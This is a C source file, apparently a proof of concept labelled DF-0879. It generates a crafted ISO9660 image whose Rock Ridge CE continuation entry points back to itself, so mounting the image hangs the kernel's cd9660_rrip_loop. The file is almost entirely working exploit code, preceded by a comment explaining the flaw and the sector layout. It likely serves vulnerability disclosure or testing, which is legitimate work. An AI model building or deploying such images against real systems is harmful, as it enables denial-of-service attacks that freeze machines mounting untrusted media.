DF-0879 / make_iso.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 | /* * DF-0879 PoC: Crafted ISO9660 image with a cyclic Rock Ridge CE chain. * * The ISO9660 Rock Ridge SUSP "CE" (Continuation Entry) field directs the * kernel parser (cd9660_rrip_loop in sys/vfs/isofs/cd9660/cd9660_rrip.c) * to follow a chain of continuation blocks. That loop has NO depth bound * and NO cycle-detection: if a CE entry points to a block whose SUSP area * again contains a CE pointing back, the kernel loops forever inside * cd9660_rrip_loop -> kernel hang / DoS. * * This program writes a minimal ISO9660 image (cyclic.iso) whose root * directory record carries an SP entry (to satisfy the Rock Ridge detection * in cd9660_rrip_offset) followed by a CE entry pointing to sector 19. * Sector 19 contains a CE entry pointing back to sector 19 (self-cycle). * Mounting this image hangs the kernel in cd9660_rrip_loop. * * Layout (2048-byte sectors): * 0 .. 15 System Area (zeros) * 16 PVD (type=1, root extent = sector 18) * 17 VDST (type=255) * 18 Root directory extent (SP + CE -> sector 19) * 19 CE continuation block (CE -> sector 19, self-cycle) * * Build: cc -o make_iso make_iso.c * Run: ./make_iso cyclic.iso */ #include <stdio.h> #include <stdlib.h> #include <string.h> #define SECTOR 2048 #define NSECT 20 /* sectors 0..19 */ /* ---- ISO 9660 both-endian integer encoders ---- */ /* 7.1.1 : single byte */ static void set711(unsigned char *p, unsigned v) { p[0] = (unsigned char)(v & 0xff); } /* 7.2.3 : 4 bytes, LE then BE (for 723 fields which are 4 bytes in PVD) */ static void set723(unsigned char *p, unsigned v) { p[0] = (unsigned char)(v & 0xff); p[1] = (unsigned char)((v >> 8) & 0xff); p[2] = (unsigned char)((v >> 8) & 0xff); p[3] = (unsigned char)(v & 0xff); } /* 7.3.3 : 8 bytes, LE(4) then BE(4) */ static void set733(unsigned char *p, unsigned v) { p[0] = (unsigned char)(v & 0xff); p[1] = (unsigned char)((v >> 8) & 0xff); p[2] = (unsigned char)((v >> 16) & 0xff); p[3] = (unsigned char)((v >> 24) & 0xff); p[4] = (unsigned char)((v >> 24) & 0xff); p[5] = (unsigned char)((v >> 16) & 0xff); p[6] = (unsigned char)((v >> 8) & 0xff); p[7] = (unsigned char)(v & 0xff); } static unsigned char img[NSECT * SECTOR]; /* * Write a minimal ISO9660 directory record at buffer offset 'off'. * Returns the record length written. * * name : file name (first byte 0x00 means '.', 0x01 means '..') * name_len : length of name * extent : LBA of file data * size : file size in bytes * sys_use : pointer to System Use area bytes (or NULL) * sys_use_len: length of System Use area */ static int write_dirrec(unsigned char *buf, int off, const unsigned char *name, int name_len, unsigned extent, unsigned size, const unsigned char *sys_use, int sys_use_len) { int pad = (name_len % 2 == 0) ? 1 : 0; int reclen = 33 + name_len + pad + sys_use_len; buf[off + 0] = (unsigned char)reclen; /* length 711 */ buf[off + 1] = 0; /* ext_attr_len 711 */ set733(buf + off + 2, extent); /* extent 733 */ set733(buf + off + 10, size); /* size 733 */ /* date[7] at +18 : zeros are fine */ buf[off + 25] = 0x02; /* flags: directory */ buf[off + 26] = 0; /* file_unit_size */ buf[off + 27] = 0; /* interleave */ set723(buf + off + 28, 1); /* volume seq no 723 */ buf[off + 32] = (unsigned char)name_len; /* name_len 711 */ memcpy(buf + off + 33, name, name_len); if (pad) buf[off + 33 + name_len] = 0; /* padding */ if (sys_use && sys_use_len) memcpy(buf + off + 33 + name_len + pad, sys_use, sys_use_len); return reclen; } int main(int argc, char **argv) { const char *out = (argc > 1) ? argv[1] : "cyclic.iso"; FILE *f; memset(img, 0, sizeof(img)); /* ---- Sector 16 : Primary Volume Descriptor ---- */ { unsigned char *pvd = img + 16 * SECTOR; pvd[0] = 1; /* type = PVD */ memcpy(pvd + 1, "CD001", 5); /* id */ pvd[6] = 1; /* version */ /* system_id, volume_id : leave blank */ set733(pvd + 80, NSECT); /* volume_space_size */ set723(pvd + 128, SECTOR); /* logical_block_size */ /* path_table_size / path table LBAs : zero โ not needed at mount */ set733(pvd + 132, 0); /* path_table_size */ /* * root_directory_record at PVD offset 156 (1-based BP 157-190). * This is a 34-byte embedded directory record for the root. * We write a record with name_len=1 (name = 0x00 = "."), * extent = sector 18, size = SECTOR. * No System Use area needed in the PVD copy โ it is not parsed * for SUSP; only extent/size are used by mount. */ { unsigned char rootpvd[34]; memset(rootpvd, 0, sizeof(rootpvd)); rootpvd[0] = 34; /* length */ rootpvd[1] = 0; /* ext_attr_length */ set733(rootpvd + 2, 18); /* extent = sector 18 */ set733(rootpvd + 10, SECTOR); /* size = 2048 */ rootpvd[25] = 0x02; /* flags = directory */ set723(rootpvd + 28, 1); /* vol seq */ rootpvd[32] = 1; /* name_len */ rootpvd[33] = 0; /* name = "." */ memcpy(pvd + 156, rootpvd, 34); } pvd[881] = 1; /* file_structure_version */ } /* ---- Sector 17 : Volume Descriptor Set Terminator ---- */ { unsigned char *vdst = img + 17 * SECTOR; vdst[0] = 255; /* type = END */ memcpy(vdst + 1, "CD001", 5); vdst[6] = 1; /* version */ } /* ---- Sector 18 : Root directory extent ---- * Contains the root "." directory record whose System Use area has: * SP entry (7 bytes) โ Rock Ridge signature, satisfies * cd9660_rrip_offset()'s SP check * CE entry (28 bytes) โ continuation at sector 19, offset 0, len 28 */ { unsigned char *rootdir = img + 18 * SECTOR; unsigned char sysuse[7 + 28]; unsigned char dotname = 0x00; /* "." */ /* SP field: "SP" len=7 ver=1 magic 0xBE 0xEF skip=0 */ sysuse[0] = 'S'; sysuse[1] = 'P'; sysuse[2] = 7; sysuse[3] = 1; sysuse[4] = 0xBE; sysuse[5] = 0xEF; sysuse[6] = 0; /* rr_skip = 0 */ /* CE field: "CE" len=28 ver=1 loc=19 off=0 len=28 */ sysuse[7] = 'C'; sysuse[8] = 'E'; sysuse[9] = 28; sysuse[10] = 1; set733(sysuse + 11, 19); /* location = sector 19 */ set733(sysuse + 19, 0); /* offset = 0 */ set733(sysuse + 27, 28); /* length = 28 */ write_dirrec(rootdir, 0, &dotname, 1, 18, SECTOR, sysuse, sizeof(sysuse)); } /* ---- Sector 19 : CE continuation block (SELF-CYCLE) ---- * A single CE entry pointing back to sector 19, offset 0, length 28. * cd9660_rrip_loop reads this block, finds CE -> sector 19, reads it * again, finds CE -> sector 19 ... forever. */ { unsigned char *ceblk = img + 19 * SECTOR; ceblk[0] = 'C'; ceblk[1] = 'E'; ceblk[2] = 28; ceblk[3] = 1; /* len=28 ver=1 */ set733(ceblk + 4, 19); /* location = sector 19 */ set733(ceblk + 12, 0); /* offset = 0 */ set733(ceblk + 20, 28); /* length = 28 */ } f = fopen(out, "wb"); if (!f) { perror(out); return 1; } if (fwrite(img, 1, sizeof(img), f) != sizeof(img)) { perror("write"); fclose(f); return 1; } fclose(f); printf("wrote %s (%d bytes, %d sectors)\n", out, (int)sizeof(img), NSECT); return 0; } |